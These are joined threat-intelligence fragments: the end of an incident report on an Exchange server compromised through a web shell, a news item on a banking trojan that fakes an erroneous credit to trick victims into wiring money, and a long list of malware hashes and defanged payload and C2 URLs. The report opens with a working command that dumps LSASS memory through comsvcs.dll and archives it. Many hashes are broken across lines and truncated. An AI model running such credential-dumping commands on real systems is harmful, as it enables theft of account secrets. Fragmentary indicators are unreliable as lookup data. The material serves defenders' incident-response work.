"powershell.exe" /c Remove-Item -Path C:\windows\temp\ssasl.pmd -Force -ErrorAction Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\windows\temp\ssasl.pmd full | out-host; Compress-Archive C:\windows\temp\ssasl.pmd C:\windows\temp\ssasl.zip
```
## Discovery
The threat actors used native Windows binaries to enumerate the exploited server in an automated fashion. They executed commands such as:
```powershell
net.exe user
ipconfig.exe /all
powershell.exe (multiple commands)
quser.exe
```
These discovery tasks, like the rest of the activity observed from this threat actor, were executed via the web shell. They used the PowerShell module `Get-WmiObject` to collect the name and IP address of the domain controller.
```powershell
Get-WMIObject Win32_NTDomain | findstr DomainController
```
Additionally, we saw threat actors retrieving an email address from the compromised exchange server using the below command. This was likely done as a test.
```powershell
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders
```
## Collection
While having access to the Exchange server, we observed no attempts to export or access user mailboxes.
## Command and Control
As we saw from the execution section, `dllhost.exe` was used to access the below domains for C2, which we believe was using a variation of FRP.
- `tcp443.msupdate[.]us` (107.173.231[.]114)
- `kcp53.msupdate[.]us` (107.173.231[.]114)
This C2 channel was not used very much as most activity was done through the web shell.
## Exfiltration
The only successful data that was exfiltrated from the environment was the archive containing the LSASS dump. Here you can see the threat actor using the web shell command to extract it:
## Impact
In this case, there was no further impact to the environment before the threat actors were evicted. Due to our previous report and OSINT research, we believe with medium to high confidence that this intrusion would have ended in ransomware.
## Indicators
All artifacts including web shells, files, IPs, etc. were added to our services in December.
### Network
- ipv4: 148.251.71[.]182
- ipv4: 107.173.231[.]114
- domain: tcp443.msupdate[.]us
- domain: kcp53.msupdate[.]us
- useragent: python-urllib3/1.26.7
- useragent: python-requests/2.26.0
### File
- aspx_dyukbdcxjfi.aspx
- dllhost.exe
- wininet.bat
- wininet.xml
- user.exe
- task_update.exe
## Detections
- ET INFO User-Agent (python-requests) Inbound to Webserver
- ET INFO Generic HTTP EXE Upload Inbound
- ET INFO Generic HTTP EXE Upload Outbound
- GPL ATTACK_RESPONSE command completed
- ET ATTACK_RESPONSE Net User Command Response
- ET WEB_SERVER WebShell Generic - netsh firewall
## MITRE
- Exploit Public-Facing Application – T1190
- OS Credential Dumping – T1003
- Account Manipulation – T1098
- Valid Accounts – T1078
- Ingress Tool Transfer – T1105
- Match Legitimate Name or Location – T1036.005
- Windows Service – T1543.003
- Web Shell – T1505.003
- System Information Discovery – T1082
- System Network Configuration Discovery – T1016
- System Owner/User Discovery – T1033
- Windows Command Shell – T1059.003
Internal case #9893 |
# Trojan Tricks Victims Into Transferring Funds
It’s horrifying enough when a computer crook breaks into your PC, steals your passwords and empties your bank account. Now, a new malware variant uses a devilish scheme to trick people into voluntarily transferring money from their accounts to a cyber thief’s account.
The German Federal Criminal Police (the “Bundeskriminalamt” or BKA for short) recently warned consumers about a new Windows malware strain that waits until the victim logs in to his bank account. The malware then presents the customer with a message stating that a credit has been made to his account by mistake, and that the account has been frozen until the errant payment is transferred back.
When the unwitting user views his account balance, the malware modifies the amounts displayed in his browser; it appears that he has recently received a large transfer into his account. The victim is told to immediately make a transfer to return the funds and unlock his account. The malicious software presents an already filled-in online transfer form — with the account and routing numbers for a bank account the attacker controls.
The BKA’s advisory isn’t specific about the responsible strain of malware, but it is becoming increasingly common for banking Trojans to incorporate “Web injects,” custom designed plug-ins that manipulate what victims see in their Web browsers.
This attack is an insidious extension of the tactic that was pioneered by the URL Zone Trojan, which specializes in manipulating the balance that victims see when they log into their bank accounts.
If you log in to your bank account and see something odd, such as a “down for maintenance” page or an alert about a wayward transfer, your best option is to pick up the phone and call your bank. Make sure you are using the bank’s real phone number: Malware like the ZeuS Trojan has been known to present newly-fleeced victims with messages about problems with the bank’s Web site, along with a bogus customer support phone number. |
# Indicators of Compromise
- 21de75a8d9d38f342b508015d7a9a7021cea SHA256 CryptoWall/H1N1
- 85c29d2f7fabd1ec29be545806b6 Loader Document
- 4de3f3789c70eef3a8eeb0f8934e6b2dfcc27d SHA256 CryptoWall/H1N1
- d7e0c38be428f45f6d7ee2d58e Loader Document
- f135871e5d8a2455db8f6c961f701a4f3ba61e SHA256 CryptoWall/H1N1
- 9c17698f8f7821679825e12ce2 Loader Document
- e099d716b97b694468e99419e62151a11ac2 SHA256 CryptoWall/H1N1
- ad4858677c3faa1fb31c68d4fe50 Loader Document
- 31181877c62da67b7e4f8805e9054d35aa00f SHA256 CryptoWall/H1N1
- 79cef01340fde6262aff2c9607a Loader Document
- 040ddf1e583eb33531e41017cfdb7337c4366 SHA256 CryptoWall/H1N1
- 97ee493d77827ba8ee50f11125e Loader Document
- 8fc3fad15e02a8c865c9c73e27d983cf8bface SHA256 CryptoWall/H1N1
- 6575b3b3775222a558ac1d5205 Loader Document
- 524495ca590a960f3710622431120f52866fe SHA256 CryptoWall/H1N1
- d0e633a5b0e128069e80717fac4 Loader Document
- 1bad34fdbfc2fdf9f4486ef2ab5cca2348a44a3 SHA256 CryptoWall/H1N1
- eb1c59885062fcf8b627f2f60 Loader Document
- 51d1452fd0537f0d241ad74d1bcbf42804e15 SHA256 CryptoWall/H1N1
- a8a2df33b84258d3a0e290e1369 Loader Document
- d51191890c6d9c4a524c41ed611a0d9f956b7 SHA256 CryptoWall/H1N1
- 3b8d9068d59772b4bbb818be2eb Loader Document
- ddb2975dfd45053c3ca68cdf6131639bf662a4 SHA256 CryptoWall/H1N1
- b43ce44e004cc17b5ef4f08acf Loader Document
- da5f1a08d01c09ee1d942ffa92dff20ff758af9c SHA256 CryptoWall/H1N1
- 71fea0f699bb0223b1bc85e4 Loader Document
- 928051dc3460670008132fe98f325c2688f1c6 SHA256 CryptoWall/H1N1
- 8ebfe25a97137d9259a96cbb60 Loader Document
- 19e9d53a16f6094f44dc909a6239e5d03d16b SHA256 CryptoWall/H1N1
- 98878e3fa3806908b817d3074f7 Loader Document
- f49b264cb0db37e492095f87caca1db9c44c9 SHA256 CryptoWall/H1N1
- 2138ef4ddc841ce50198f3cc07f Loader Document
- 144e781370a53e027770c58a0bc8c491a038 SHA256 CryptoWall/H1N1
- ecee0b63f0e3ba15cc7cbbddabc6 Loader Document
- bb1c2d771c7dc2aa9d9e799946107d34c593 SHA256 CryptoWall/H1N1
- 5ba6fe627d8e454d0648c20e19ed Loader Document
- c9d175bb2420753fb679896219cdd581109c1 SHA256 CryptoWall/H1N1
- 404899a3cff195c4a8b795fcbbd Loader Document
- 661c1825c1818c781281eda993e5684c0597 SHA256 CryptoWall/H1N1
- d9547d01ccb4b68d034cf58bbfc0 Loader Document
- dccc3a03103dcd3523fef6cdc9e2d02508060 SHA256 CryptoWall/H1N1
- bbf1cd72deb6b65ba106341d76d Loader Document
- b8a6cf0d62bc0a933c19f70ec6e265ada2c9d SHA256 CryptoWall/H1N1
- cd161345721653574aec121bd9f Loader Document
- d584665d1d77b2052857188a44891ec389f1 SHA256 CryptoWall/H1N1
- 23d8ce11ab6640689032c96e6ee0 Loader Document
- df5ce6f870c6a48c806ec8db43a0e1c4b3492 SHA256 CryptoWall/H1N1
- e04b7308342480e7016f9da543b Loader Document
- df97bdf25b8a7247ac30b9215ec17f757b981b SHA256 CryptoWall/H1N1
- f0cd498c579e341361aebd09bf Loader Document
- b38968437a93214ade3fdca50075d9247c587 SHA256 CryptoWall/H1N1
- 502ea209f06b4feeb54f87069d5 Loader Document
- e51eb50026de6fa3f57906e71d9ce856b53da SHA256 CryptoWall/H1N1
- e9d7a84dd6e95b17a3d52cb3794 Loader Document
- 51d52d5dac1a9e6cdef7f07d3322911bce8cd SHA256 CryptoWall/H1N1
- 93acf5bcc46687eb51811e5a999 Loader Document
- 13894603776bc7a0e96e504de5b4505322a8 SHA256 CryptoWall/H1N1
- e50483f0a7b56fe647b97116400d Loader Document
- bdcfa45c64988dbf3ce482e9a004c987df5748 SHA256 CryptoWall/H1N1
- 540f0575531c46dd4b156af4e7 Loader Document
- 9bb6a2e798b6b8b520590a198f18bfad9fc2fb SHA256 CryptoWall/H1N1
- 5fdfd24bc5c255d44eb22775a6 Loader Document
- 934553d6d71df95909a79011e7fe54c02ed36 SHA256 CryptoWall/H1N1
- db6d91b1118810809ee2e45977d Loader Document
- 219e6cc0b503c5155d6343db57afc520e8e92 SHA256 CryptoWall/H1N1
- a9660fe7215c9fdf68ef4a2e16c Loader Document
- b0b33d0b9e8ab14d6f32fe9969f8a95154a12 SHA256 CryptoWall/H1N1
- e9d6f86af30944fbb9c0b995fae Loader Document
- 23ad10b10cb54c3de5b72f685ab1c650a69c9 SHA256 CryptoWall/H1N1
- 7a972788987a9143cc227908027 Loader Document
- 960be0b5eb436de2f09425c17f94dd65fd716 SHA256 CryptoWall/H1N1
- 61c66898945d56187f783d1bd8d Loader Document
- cfec9a8f9ab1369b410dfecc307188fcd319c1 SHA256 CryptoWall/H1N1
- a171b5e18c6bb064de3074457a Loader Document
- 7a0dc4ab55694a368f2094d7c96544664a65d SHA256 CryptoWall/H1N1
- 4fecca64065fdf8e386b6fd1e74 Loader Document
- 7afe159eae74acfb3ab66955f8c4548fc8c122 SHA256 CryptoWall/H1N1
- e61c3bb6eb1eff315a2ed370b2 Loader Document
- 04804b92f283fc0bad586b08a169eb334a398 SHA256 CryptoWall/H1N1
- abdf2c0659006d4a7cefef27a7e Loader Document
- 6e5afb86904adb80ed96d5582304483a13c7 SHA256 CryptoWall/H1N1
- 2208ccfbee67303cceb8d6da1cf5 Loader Document
- 1824e68470e75996a2b3d6f5978541d82019 SHA256 CryptoWall/H1N1
- b4b4e8de3274a893af9c107369d1 Loader Document
- beb396e8694369d6e81a9f83dfaa7ff323a039 SHA256 CryptoWall/H1N1
- 37f20620d2901b77ceba87af3e Loader Document
- 90719326061afef4751138778c76804d7d15f SHA256 CryptoWall/H1N1
- 893317ea36ce6d9eb9df90919d2 Loader Document
- cce9ea89d0957457beaa71415337b54d4e07 SHA256 CryptoWall/H1N1
- aa0a17acac07fcb778363db963a9 Loader Document
- 3167d7613c7b6942fab73e35f7c05a278a448 SHA256 CryptoWall/H1N1
- 8687fa4aaaa825b2aaad8ee2d4e Loader Document
- 482a83f9066b95f567c1e0caf95ae034160723 SHA256 CryptoWall/H1N1
- f0db15c358ba0aebcbee5b386f Loader Document
- 6ba845b1e3433c380b03d71c70af9d8e24fb4 SHA256 Fileless Ursnif
- bf0b0997df3c543e022071634ce Loader Document
- 408a53621f34427388c71c7343544e9794a0c SHA256 Dridex 222
- 1d85fcada4c3cbf2fbd39801ec7 Document
- 2db470dd06252bf860e78096ed255b317ae7f SHA256 Dridex 222
- 7b8074a93d81ff518f293ea9fde Document
- 0259e653a9c17b04bad98e0e8cb4835f418f1 SHA256 Dridex 222
- 256a7603807ba09a3b97a583d70 Document
- 9540f1f53a0b515e25e5907b43890aef4f3b69 SHA256 Dridex 222
- 64662461c2951b85d91d407fc9 Document
- a5d38e043acbad58247b641429fc7764a2ce6 SHA256 Dridex 222
- d9b0d7953b6d458946f76050e6c Document
- 629736be158503075b66ac368ea040258a58 SHA256 Dridex 222
- 4a6163fd01383926630f1259a966 Document
- 6a33288612dd7f74d0ae1704219864506553 SHA256 Dridex 222
- 82915d4371321d4d4d4a6507fcf5 Document
- e234a209004b76c2374057929eff1605efc32c SHA256 AU Ursnif
- bddbf5a1b6faff1fc2893fe8af Document
- 10372e472b35b03a8d32372c0d07d271c085 SHA256 AU Ursnif
- 47f57adb405d21bdaf30a4af8d87 Document
- 33449ed6e99286f1b8c6d9ed0480ca8893d70 SHA256 AU Ursnif
- 10f6e1997180b3f28c74bb3b7e2 Document
- f115df5fa948e0228f208855b860911864c0b2 SHA256 AU Ursnif
- 6b7601010c9ec23cf32e9c7f31 Document
- c0407c207b17179241ddd1ac38cd57de3e2b SHA256 AU Ursnif
- b4bd1c1e6e093af9ffcd87f28fab Document
- 72fb0752bbe4024b05baa71b8d26b9529b39 SHA256 AU Ursnif
- 531f4e4f88eef9049604462d6b7a Document
- 65d9979b11885e44567799f69258492f6e699 SHA256 AU Ursnif
- 22c66858e03b03a21790d031cee Document
- 7bb439a5221f667fd30b6fca2ed9ba48ac986a SHA256 AU Ursnif
- 1998d4d8fe167b0c08e9e59c35 Document
- 9a292db2300c48234ee8e1ac7530349a9870 SHA256 AU Ursnif
- 9a73aeea743f83d5099b355335af Document
- 62060f13d9fdeb2f1cde97a9147aa563b9e87 SHA256 AU Ursnif
- 899d9158757389af66a65206859 Document
- c1e07f81e5fb7fac5c03594aed528b6f3adbc0 SHA256 AU Ursnif
- bb028d5f1b341b3eb51b653afe Document
- 37169162b12198e88066880d0de061f6071bf SHA256 AU Ursnif
- f793d637776cbeb308f38dd86b1 Document
- e9ec5b3483d6592da5b7657baae3240dc67e SHA256 AU Ursnif
- 7519bb5210e8cf6e8ae2cdb63f69 Document
- 9617039aae8471d927726cadb1d15d21e219 SHA256 AU Ursnif
- d7eb9d1d5ed5b582cfd94d3f4966 Document
- 2752dc5294d39f7f0e89f7128cf5c1d05cde96f SHA256 Nymaim
- 2f55bb19ad13263a10a5bd290 Document
- 4d0c14edfa616c0a5618b312f5ca90b3a2918 SHA256 Nymaim
- 8288f35c5d8c1c2ae37ef11371f Document
- 4e97e6fc3cd28237c2a108a0a76fa03a4c5aaf SHA256 Nymaim
- abaa71f6c39c5abcdb390fd204 Document
- 6e3dfd88c29db4928d8776477536970428d9 SHA256 Nymaim
- 0aa574e5f481115d1d47a0d8f650 Document
- 7fade2990becf491aad48812f465363c7a9d4e SHA256 Nymaim
- e9995e008bed2fad31735c632f Document
- 80525692d12c1c25a92cccd75d3325ba039b SHA256 Nymaim
- b7f45babc0cf5db932449c7774bb Document
- b211d879a44a5eb0452b8785bbcbd929b1a4 SHA256 Nymaim
- a74641d4c020c1c954cd379bd31a Document
- a1770a7671679f13601e75a7cb841fea90c7 SHA256 Fileless Ursnif
- dd78436a0bea875ce50b92afc33 Document
- 340f82a198aa510159989058f3f62861de741 SHA256 Fileless Ursnif
- 35666c50060491144b7b3ec5a6f Document
- f204c10af7cdcc0b57e77b2e521b4b0ac0466 SHA256 Fileless Ursnif
- 7ccffce478cb4c3b8b8f18e32a2 Document
- 0661c68e6c247cd6f638dbcac7914c826a5fe SHA256 Fileless Ursnif
- ee1013e456af2f1f6fd642f4147 Document
- a8663becc17e34f85d828f53029ab110f92f63 SHA256 Fileless Ursnif
- 5c3dfd94132e5ac87e2f0cdfc3 Document
- 30cd5d32bc3c046cfc584cb8521f5589c4d86a SHA256 Fileless Ursnif
- 4241d1a9ae6c8e9172aa58ac73 Document
- 83e305724e9cd020b8f80535c5dd897b2057c SHA256 Fileless Ursnif
- ee7d2bb48461614a37941e78e3a Document
- f45bf212c43d1d30cc00f64b3dcae5c35d4a85 SHA256 Fileless Ursnif
- cacd9350646f7918a30af1b709 Document
- 1e746ba37c56f7f2422e6e01aa6fde6f019214 SHA256 Fileless Ursnif
- a1e12475fe54ee5c2cf1b9f083 Document
- 7e22ea4e06b8fd6698d224ce04b3ef5f00838 SHA256 Fileless Ursnif
- 543cb96fb234e4a8c84bb5fa7b3 Document
- 815bd46e66f1d330ed49c6f4a4e570da2ec89 SHA256 Fileless Ursnif
- bcd665cedf025028a94d7b0cc1e Document
- 910c697647b3c9179427184630c125634532 SHA256 Fileless Ursnif
- 467cd24f0f40699962d7d0a7e31 Document
- 74ec24b5d08266d86c59718a4a476cfa5d220 SHA256 Fileless Ursnif
- b7b3c8cc594d4b9efc03e8bee0d Document
- 90a7951683a5a77a21d4a544b76e2e6ee04e SHA256 Fileless Ursnif
- 357d2f5bfcff01cd6924906adf77 Document
- 2c21dafcb4f50cae47d0d4314810226cba3ee SHA256 Fileless Ursnif
- 4e61811f5c778353c8eac9ba7dc Document
- 247511ab6d7d3820b9d345bb899a7827ce62 SHA256 Fileless Ursnif
- c9dd27c538c75a73f5beba6c6018 Document
- 708374a4dfaaa8e44ee217ca5946511cacec5 SHA256 Fileless Ursnif
- 5da5eabb0feb1df321753258782 Document
- 136379754edd05c20d5162aed7e10774a956 SHA256 Fileless Ursnif
- 57f69d4f9a5de17a8059c9018aa6 Document
- 5d215ef3affe320efe4f5034513697675de40b SHA256 Fileless Ursnif
- a8878ca82e80b07ad1b8d61ed8 Document
- hxxp://vascoboiblog[.]space/update/KB25421 URL CryptoWall/H1N1
- [.]exe Loader
- hxxp://officewithout[.]space/KB998394[.]exe URL CryptoWall/H1N1
- hxxp://updatesarecoming1000[.]space/usa/kb URL CryptoWall/H1N1
- 37892[.]exe Loader
- hxxp://kotoberlin[.]com/wp- URL CryptoWall/H1N1
- includes/office[.]exe Loader
- hxxp://batiatus[.]net/wp-includes/office[.]php URL CryptoWall/H1N1
- hxxp://mastfm102[.]com//wordpress/wp- URL CryptoWall/H1N1
- includes/asalam[.]exe Loader
- hxxp://audio-hacks[.]com/wp- URL CryptoWall/H1N1
- includes/salam[.]exe Loader
- hxxp://laasciidle[.]com/wp- URL CryptoWall/H1N1
- includes/office[.]exe Loader
- hxxp://mariannmahoney[.]com/wp- URL CryptoWall/H1N1
- includes//office[.]exe Loader
- hxxp://phdfashion[.]com/wp- URL CryptoWall/TinyLoader
- includes//calc[.]exe Loader
- hxxp://divasasbysa[.]com/wp- URL CryptoWall/TinyLoader
- includes//kb[.]exe Loader
- hxxp://pretenlignesansenquetedecredit[.]com/ URL SmokeLoader/TV
- wp-includes/kis[.]exe Spy
- hxxp://galaxysportsonline[.]com/system/logs/ URL TinyLoader
- office[.]exe
- hxxp://31[.]192[.]105[.]24/1[.]exe URL TVSpy
- hxxp://cuentosparahacertefeliz[.]com/wp- URL Dridex 222
- includes/notepad[.]exe
- hxxp://forexonlinebusiness[.]info/wp- URL Dridex 222
- includes/kbe[.]exe
- hxxp://usatraveldeals[.]net/wordpress/wp- URL Dridex 222
- includes/load4[.]php?prot=secrete
- hxxp://pdfviewapp[.]com/?filename=CHEXXi URL Dridex 222
- NC%20Payment%20Advise_ID00589884[.]pdf
- hxxp://pdfviewapp[.]com/?filename=CHEXXi URL Dridex 222
- NC%20Payment%20Advise_ID00589884[.]scr
- hxxp://www[.]kiryanaking[.]com/system/logs/p URL AU Ursnif
- utty[.]exe
- hxxp://gitafashion[.]com/image/flags/putty[.]exe URL AU Ursnif
- hxxp://ug-stroy[.]com/image/flags/tg[.]exe URL AU Ursnif
- hxxp://satellite- URL AU Ursnif
- rent[.]com/image/data/logo[.]exe
- hxxp://spartanleather[.]com[.]au/image/flags/r URL AU Ursnif
- sa[.]exe
- hxxp://brightapparel3[.]com/image/data/msoff URL AU Ursnif
- ice[.]exe
- hxxp://dsmartbuy[.]com/image/data/office[.]exe URL AU Ursnif
- hxxp://abettermindset[.]com/images/office[.]exe URL AU Ursnif
- hxxp://antalyanalburiye[.]com/image/payment URL AU Ursnif
- /client[.]exe
- hxxp://galleryamjadi[.]ir/image/flags/he[.]exe URL Nymaim
- hxxp://krovlya- URL Nymaim
- nova[.]com/image/flags/bf[.]exe
- hxxp://stickerplug[.]com/image/flags/config[.]exe URL Nymaim
- hxxp://raximpex[.]com/image/data/office[.]exe URL Nymaim
- hxxp://naipeclandestino[.]com[.]br/image/data URL Nymaim
- /office[.]exe
- hxxp://tribudellusato[.]altervista[.]org/image/te URL Nymaim
- mplates/office[.]exe
- hxxp://sociallyvital[.]com/images/office[.]exe URL Nymaim
- hxxps://github[.]com/consfw/msfw/raw/master URL Fileless Ursnif
- /README
- hxxps://github[.]com/consfw/msfw/raw/master URL Fileless Ursnif
- /TODO
- hxxps://supratimewest[.]com/README URL Fileless Ursnif
- hxxps://supratimewest[.]com/TODO URL Fileless Ursnif
- hxxps://github[.]com/minifl147/flue/raw/maste URL Fileless Ursnif
- r/memo
- hxxps://github[.]com/minifl147/flue/raw/maste URL Fileless Ursnif
- r/adv
- hxxps://github[.]com/flowsdem/found/raw/ma URL Fileless Ursnif
- ster/rost
- hxxps://github[.]com/flowsdem/found/raw/ma URL Fileless Ursnif
- ster/virst
- hxxp://www[.]starwoodhotels[.]pw/install/Instr URL Fileless Ursnif
- uctdrive
- hxxp://www[.]starwoodhotels[.]pw/install/Wor URL Fileless Ursnif
- kflow2
- hxxp://rabbitons[.]pw/cache URL Fileless Ursnif
- hxxp://rabbitons[.]pw/css URL Fileless Ursnif
- 20338201ea3cbb697dd74ac709cf2574e5fee SHA256 CryptoWall hash
- dbe6306592706aa8c276c8bf40c SHA256 CryptoWall hash
- 7CC33C1C5B760A6525C414796F37175BC SHA256 CryptoWall hash
- 887DCD99318CAA8A622855A598B13AE SHA256 CryptoWall hash
- 96358524e91b428980e2c041b7da7c40caee SHA256 CryptoWall hash
- 4cc4ba2089c23353e25c3ffde3f8 SHA256 CryptoWall hash
- A0EF6BD2842658695BE4F1F84F0C62D010 SHA256 H1N1 Loader
- A8AA406E3A31E9DE5EF8662A058D80 hash
- B1ACB11DBEDD96763EE00DD15CE057E3 SHA256 NeutrinoBot hash
- 259E1520294401410D8C42CFA768A50A SHA256 Pony hash
- BCDB7ED813D0D33B786AE1A4DFA09A2C SHA256 Pony hash
- B3A0B61CE1BB8DB01DBDF7D64EC4B4A0 SHA256 TinyLoader hash
- 80DBA038BD65F6A418293BA3104816 SHA256 TinyLoader hash
- 8BAE2B1E127291F8A66AF20EC2CAEF6 SHA256 SmokeLoader
- 633e7ff529e5b291cfc2bce8c hash
- e70e34fb85894d27e0711f56e1d57b9d126c4 SHA256 TVSpy hash
- bb22a62454cc38f39fc3cd2c37d SHA256 Dridex 222 hash
- 0FB005CCA3545FAEC2B8DE5887110E SHA256 Dridex 222 hash
- 55F53DD1351BFA6CE3D0AA83D8F32C473 SHA256 Dridex 222 hash
- A933CF3EC27E92A71A406AFDB636891 SHA256 AU Ursnif hash
- 2cba464f6454b598809063e58beed60d7a32 SHA256 AU Ursnif hash
- 2f87720567997dda5f685ec5936a SHA256 AU Ursnif hash
- 2f2f6de08d9fed80a1bcdee7cdf3b82aa002de SHA256 AU Ursnif hash
- eeb340b041d70767df7b448fa2 SHA256 AU Ursnif hash
- 22085dc5212df9f732881f18d4bf757abf6073 SHA256 AU Ursnif hash
- 524f23f60b39f8653150f7e19d SHA256 AU Ursnif hash
- cf3dff8bcd402f8c6f38239a9b800d76df2bfa57 SHA256 AU Ursnif hash
- 411a9a4768135ce11876e56a SHA256 AU Ursnif hash
- aa76d3af03b44639148d190785eab9720471f SHA256 AU Ursnif hash
- fc28c71468182b786ed0b0eb SHA256 Nymaim hash
- 943FAEFDA16855F0345EDFEE915C0CDB SHA256 Nymaim hash
- 72D246767B58ED8FFD39D6CEA8B44E48 SHA256 Nymaim hash
- F578CC0DD725BDEDF83163EEF28A31F SHA256 Nymaim hash
- ED7A5B229299FBD58DC3F0E9A7096177E SHA256 Nymaim hash
- 0268B125F70048D9A970266E531DC01 SHA256 Nymaim hash
- A3326D8C59CEAAAE4798303B0653716794 SHA256 Nymaim hash
- 300ABC8202EAC3784D432CA3D74A5B SHA256 Nymaim hash
- AC73097A37BF4EFFD54FF65CAEC9FE6A SHA256 Nymaim hash
- 46BE9DB18D1D1602CCD26D6B9944A048 SHA256 Nymaim hash
- 8928cfbc77cd2987c7ed66c507b6cbcd2b3e7 SHA256 Nymaim hash
- 27be384f96fbdc0b98452308d39 SHA256 Nymaim hash
- 5A499D04E5298BE9F1C2F8164D2432BC3 SHA256 Nymaim hash
- 01471E48D4DE1BFF348F68993805A60 SHA256 Fileless Ursnif
- d6b818c6ed3fd3be9f113d19cde7e43a2d4d4 SHA256 Fileless Ursnif
- 6c2377ee91236986342ec00a828 hash
- db13dd332ad7c2be03e3be2c4f3eeece29682 SHA256 Fileless Ursnif
- hxxp://acie[.]edu[.]np/DFQvsZ[.]php URL CryptoWall c2
- hxxp://acmm[.]org[.]au/idjFbx[.]php URL CryptoWall c2
- hxxp://ahtubafishing[.]com/CXjq48[.]php URL CryptoWall c2
- hxxp://all-4-music[.]nl/yBDEMc[.]php URL CryptoWall c2
- hxxp://allescorts4u[.]com/dfgOwA[.]php URL CryptoWall c2
- hxxp://anilyildirim[.]net/zn9mur[.]php URL CryptoWall c2
- hxxp://apartment[.]od[.]ua/I35pl6[.]php URL CryptoWall c2
- hxxp://apexminerals[.]com[.]au/k8HqvL[.]php URL CryptoWall c2
- hxxp://apptitudes[.]fr/eC2F1f[.]php URL CryptoWall c2
- hxxp://arcticbear[.]net/MRGKAC[.]php URL CryptoWall c2
- hxxp://ariixhouse[.]nl/iMVfC4[.]php URL CryptoWall c2
- hxxp://artistblip[.]com/QJ9HzW[.]php URL CryptoWall c2
- hxxp://asiamaster[.]kz/vUn1wz[.]php URL CryptoWall c2
- hxxp://ask-us-anything[.]tk/PsdO76[.]php URL CryptoWall c2
- hxxp://aspectdesigns[.]com[.]au/0rTVlG[.]php URL CryptoWall c2
- hxxp://australianmotorinns[.]com/9ctKlH[.]php URL CryptoWall c2
- hxxp://avazuinc[.]com/D04m5N[.]php URL CryptoWall c2
- hxxp://balustradydrewniane[.]pl/Fcb7VZ[.]php URL CryptoWall c2
- hxxp://behejbrno[.]com/MixtUZ[.]php URL CryptoWall c2
- hxxp://bem-bakery[.]com/HPINRS[.]php URL CryptoWall c2
- hxxp://budni[.]info/zYNKoq[.]php URL CryptoWall c2
- hxxp://bulksmsdealer[.]com/vR3BEX[.]php URL CryptoWall c2
- hxxp://calsalumni[.]iastate[.]edu[.]staging[.]sites[.]flyinghippo[.]com/ScXajM[.]php URL CryptoWall c2
- hxxp://campaignforyoungamerica[.]org/LT3Y URL CryptoWall c2
- RB[.]php
- hxxp://centralescorts4u[.]com/XqVFBm[.]php URL CryptoWall c2
- hxxp://conseils-finance[.]com/kJsnUb[.]php URL CryptoWall c2
- hxxp://daddysground[.]cz/zTVoGb[.]php URL CryptoWall c2
- hxxp://dentiste-paris-20[.]fr/IhfweE[.]php URL CryptoWall c2
- hxxp://dermalightcr[.]com/tHja9Z[.]php URL CryptoWall c2
- hxxp://dineroexperto[.]pe/zOesbw[.]php URL CryptoWall c2
- hxxp://dining-bar[.]com/BQ_Ln4[.]php URL CryptoWall c2
- hxxp://directoryassistanceamerica[.]com/XeB URL CryptoWall c2
- UDN[.]php
- hxxp://dolphinworld[.]org/MaB54K[.]php URL CryptoWall c2
- hxxp://dorisbociort[.]ro/6sZTLc[.]php URL CryptoWall c2
- hxxp://dunwoodypress[.]com/DJHMXS[.]php URL CryptoWall c2
- hxxp://e-minunat[.]ro/ZeNpML[.]php URL CryptoWall c2
- hxxp://ecocity[.]kz/7_9SR6[.]php URL CryptoWall c2
- hxxp://ecoinfo[.]kz/LUoMqa[.]php URL CryptoWall c2
- hxxp://edlenimaging[.]com/be5AmR[.]php URL CryptoWall c2
- hxxp://emotionwerbung[.]de/389Tak[.]php URL CryptoWall c2
- hxxp://empiredigitalmarketing[.]com/09LihY[.]php URL CryptoWall c2
- hxxp://en[.]theolympiaschools[.]edu[.]vn/FCfX URL CryptoWall c2
- eB[.]php
- hxxp://europartners[.]it/Dd6VPR[.]php URL CryptoWall c2
- hxxp://event-travel[.]co[.]uk/3K6Psd[.]php URL CryptoWall c2
- hxxp://fiyaskobirlik[.]com/UxAK5e[.]php URL CryptoWall c2
- hxxp://funzone-veza[.]sk/Owm50c[.]php URL CryptoWall c2
- hxxp://ggvidrosautomotivos[.]com[.]br/KMYz1 URL CryptoWall c2
- s[.]php
- hxxp://giaohang[.]org/lCs_PE[.]php URL CryptoWall c2
- hxxp://giosposa[.]com/Zoe2aN[.]php URL CryptoWall c2
- hxxp://golcukrehberi[.]com/6JQEva[.]php URL CryptoWall c2
- hxxp://goldenangels[.]com[.]tr/l4Fw8D[.]php URL CryptoWall c2
- hxxp://grafitti-photo[.]com/IGHOYq[.]php URL CryptoWall c2
- hxxp://granrio[.]com[.]br/4A0Hw5[.]php URL CryptoWall c2
- hxxp://hand-made[.]by/rQWftY[.]php URL CryptoWall c2
- hxxp://hatha[.]it/6tnLEG[.]php URL CryptoWall c2
- hxxp://highclassescorts4u[.]com/Snuxg7[.]php URL CryptoWall c2
- p
- hxxp://ifawindow[.]co[.]uk/0w5MVI[.]php URL CryptoWall c2
- hxxp://igotocd[.]com/rklVaO[.]php URL CryptoWall c2
- hxxp://ihadthat[.]com/1NEnbi[.]php URL CryptoWall c2
- hxxp://indonesiandomains[.]com/e9vsxj[.]php URL CryptoWall c2
- hxxp://inicc[.]yucatan[.]gob[.]mx/UIagAy[.]php URL CryptoWall c2
- hxxp://international[.]woptimo[.]com/YglxHK[.]php URL CryptoWall c2
- hxxp://itt-pushkino[.]org/D2BE6m[.]php URL CryptoWall c2
- hxxp://itvsoft[.]asia/rRwKxj[.]php URL CryptoWall c2
- hxxp://jadwalpialadunia[.]in/rG4Rdi[.]php URL CryptoWall c2
- hxxp://jameswbos[.]com/v10aAJ[.]php URL CryptoWall c2
- hxxp://jjcampbell[.]com/1wK5Iy[.]php URL CryptoWall c2
- hxxp://jlprotect[.]ca/_poxuV[.]php URL CryptoWall c2
- hxxp://jogos[.]testeqi[.]com[.]br/4t1E7X[.]php URL CryptoWall c2
- hxxp://kadr37[.]pl/fFe_xr[.]php URL CryptoWall c2
- hxxp://kskillsmobility[.]eu/ludO0_[.]php URL CryptoWall c2
- hxxp://larosa[.]com[.]au/8beYcC[.]php URL CryptoWall c2
- hxxp://lazycranch[.]us/PtAg1I[.]php URL CryptoWall c2
- hxxp://liberal[.]com[.]mx/0My2EZ[.]php URL CryptoWall c2
- hxxp://london-escorts-agency[.]org[.]uk/fdnmyD[.]php URL CryptoWall c2
- hxxp://loved[.]kz/yMZFGp[.]php URL CryptoWall c2
